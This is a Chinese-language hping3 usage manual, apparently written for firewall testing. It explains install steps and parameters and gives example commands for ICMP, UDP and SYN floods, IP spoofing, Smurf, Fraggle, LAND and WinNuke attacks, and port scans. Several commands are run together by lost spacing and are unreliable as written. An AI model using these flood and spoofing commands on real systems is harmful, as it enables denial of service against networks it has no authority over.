Hping3使用手册 简介 Hping3是一个命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,能够在两个相互包含的通道之间传送文件。Hping3常被用于检测网络和主机,其功能非常强大,可在多种操作系统下运行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOsX,Windows。 Hping3的主要功能有: 防火墙测试 实用的端口扫描 网络监测,可以用不同的协议、服务类型(TOS)、IP分片) 手工探测MTU(最大传输单元)路径 先进的路由跟踪,支持所有的协议 远程操作系统探测 远程的运行时间探测 TCP/IP堆栈审计 这里我使用的是linux系统下的hping3,安装方法如下。 安装环境 Linux系统 GCC Libcap-dev Tcl-dev 三.安装步骤 #tar-zxvfhping3-200541105.tar.gz-C/usr/local/src#cd/usr/include/net#ln-s../pcap-bpf.hbpf.h#cd/usr/local/src/hping3-20051105#./configure#make#makeinstall 四.主要参数说明 Hping3参数,可以用Hping-h来查看?-c--countcount发送数据包的次数-i--interval发送包的间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到?--fast每秒发10个数据包,似乎可用作dos攻击? --faster每秒发100个数据包 --flood以最大速度发送数据包-I--interfaceinterfacename指定接口以下是协议选择项?-0--rawipRAWIP模式,在此模式下,Hping会发送带数据的IP头 -1--icmpICMP模式,此模式下,Hping会发送ICMP应答报文,可以用--ICMPTYPE--ICMPCODE选项发送其他类型/模式的ICMP报文?-2--udpUDP模式,缺省下,HPING会发送UDP报文到主机的0端口,可以用--baseport--destport--keep选项指定其模式? -8端口扫描模式以下是有关IP的选项?-a--spoofhostname伪造IP攻击,防火墙就不会记录真实IP,回应的包也接收不到了,比如,你是192.168.3.1伪装成192.168.3.2发包给192.168.3.3,192.168.3.3的防火墙会记录192.168.3.2发包记录,但是192.168.3.3的回应也会发回192.168.3.2,而你却接收不到192.168.3.3的回答包的-F--FRAG更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的''virtualmtu''是16字节,?-x--morefrag此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务?-y--dontfrag发送不可恢复的IP碎片,这可以了解更多的MTUPATHDISCOVERY?-G--fragofffragmentoffsetvaluesetthefragmentoffset?记录IP路由,并显示路由缓冲-C--ICMPTYPETYPE指定ICMP类型,缺省是ICMPECHOREQUEST?-K--ICMPCODECODE指定ICMP代号,缺省0?--icmp-ipver把IP版本也插入IP头,?--icmp-iphlen设置IP头的长度,缺省为5(32字节)?--icmp-iplen设置IP包长度?--icmp-ipid设置ICMP报文IP头的ID,缺省是RANDOM?--icmp-ipproto设置协议的,缺省是TCP?-icmp-cksum设置校验和的,没什么的?-icmp-tsAliasfor--icmptype13(tosendICMPtimestamprequests)?ICMP时间戳--icmp-addrAliasfor--icmptype17(tosendICMPaddressmaskrequests)?ICMP子网地址TCP/UDP选项?-s--baseport设置发包的源端口,没法送一个包,源端口加一,默认是随即的,可以用-K--KEEP可以使端口不会增加,每次的基本端口是随意的?-p--deskport[+][+]deskport设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加2-b--badcksum发出一个错误校验和的UDP/TCP包??-F--finsetFINtcpflag?发送FIN包-S--synsetSYNtcpflag.?发送SYN包-R--rstsetRSTtcpflag.?发送RST包-P--pushsetPUSHtcpflag.?发送PUSH包-A--acksetACKtcpflag.?发送ACK包-U--urgsetURGtcpflag.?发送URG包其他:?-d--datadatasize设置包大小,指定DATA为40时,输出如下:?HPING?HYPERLINK"http://www.site.com/"\t"_blank"www.site.com?(ppp0204.71.200.67):NOFLAGSareset,40headers+40databytes?-E--filefilename指定包内容如FILENAME里的一样? Hping3默认使用的TCP协议包,不设置任何的flag,发送到目标的0端口,协议和flag以及端口都可以自己设定。 五.测试实例及注意事项 Hping3测试实例: 向目标发送数据包,比如发送两个数据包 #hping3–c2192.168.0.7 ICMP洪水攻击 #hping3--flood192.168.0.7-1 注意事项:hping3默认使用的tcp协议,因此在发送其他协议洪水攻击时要将该协议的参数,如“-1ICMP;-2UDP”加入命令 UDP洪水攻击 #hping3--flood192.168.0.1-2 SYN洪水攻击 #hping3--flood192.168.0.1–S 注意事项:洪水攻击命令“--flood”在使用的时候最好不要开启过多进程,以免自己的机子死机。 Winnuke攻击 #hping3–U192.168.0.1–p139 注意事项:winnuke攻击的端口不仅是139端口,还有“138、137、113、53”等端口,因此在测试时要注意将所有端口都覆盖到,关键一点是winnuke攻击特征为“flag=URG”,因此不能以端口为特征来检测。 端口扫描 #hping3-8all–S192.168.0.7 注意:其中-S是利用SYN包进行扫描,也可以使用-2UDP形式进行扫描;-8是端口扫描模式,all是扫描所有的端口,如果要扫描1-1024端口的话则命令为: #hping3-81-1024–S192.168.0.7 IP地址欺骗攻击 #hping3–a222.222.222.222192.168.0.7则在192.168.0.7端抓到得包的源地址为222.222.222.222 注意:-a参数后接着的地址为需要隐藏的源地址,-a与欺骗地址之间不可以添加任何参数或其他。 IP分片 #hping3192.168.0.7-S–p80-f IP选项 #hping3–G–rroute192.168.0.1在IP头中加入路由选项信息 Smurf或者Fraggle攻击 注意:smurf攻击有两种,一种是简单的发送信息到被攻击地址的广播地址,如: #hping3-1192.168.0.255 第二种为复杂点的攻击,即伪装成被攻击的地址发送信息到被攻击地址的广播地址,如: #hping3-1–a192.168.0.1192.168.0.255 Fraggle攻击即由smurf的ICMP协议的攻击改为由UDP协议的攻击,因此只需要修改一个参数即可,将“-1”改为“-2”(我们UTM实现的是典型端口7模式,即:hping3-2192.168.0.255–p7) LAND攻击 #hping3–S–a192.168.0.7–p21192.168.0.7 注意:Land攻击即是伪装成被攻击地址发送请求信息给被攻击地址本身; TCP选项异常 注意:TCP选项异常有多种情况,需要全部考虑 SYN包被分片 #hping3–S192.168.0.1-f TCP包仅设置了FINflag #hping3–F192.168.0.1 TCP包没有设置任何flag #hping3192.168.0.1 TCP包的FIN和RSTflag同时被设置 #hping3–F–R192.168.0.1这里-F和-R两个参数的顺序没有关系 TCP包的SYN和URGflag同时被设置 #hping3–S–U192.168.0.1 TCP包的SYN和RSTflag同时被设置 #hping3–S–R192.168.0.1 TCP包的SYN和FINflag同时被设置 #hping3–S–F192.168.0.1 Packetswithsignatures对数据包签名 #cat/root/signature.sig #hping-2–p7192.168.0.7–d50–E/root/signature.sig
以上是我在使用hping3过程中所了解的,如果大家在使用中有什么好的看法或者使用方法,请告知一下,并且欢迎来找我交流。
Hping的缺点是不能修改发送包的MAC地址,因此在做地址欺骗的时候,IP地址虽然改变了,但是MAC地址并没有改变,还是本机的MAC地址。 |
|